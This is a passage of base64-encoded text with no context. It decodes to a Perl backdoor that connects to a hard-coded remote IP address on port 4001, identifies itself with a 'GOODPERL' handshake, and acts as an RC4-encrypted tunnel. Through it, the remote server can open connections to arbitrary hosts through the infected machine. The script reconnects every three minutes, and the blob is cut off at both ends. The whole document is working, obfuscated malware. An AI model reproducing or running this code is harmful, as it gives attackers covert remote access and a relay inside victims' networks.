kJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2U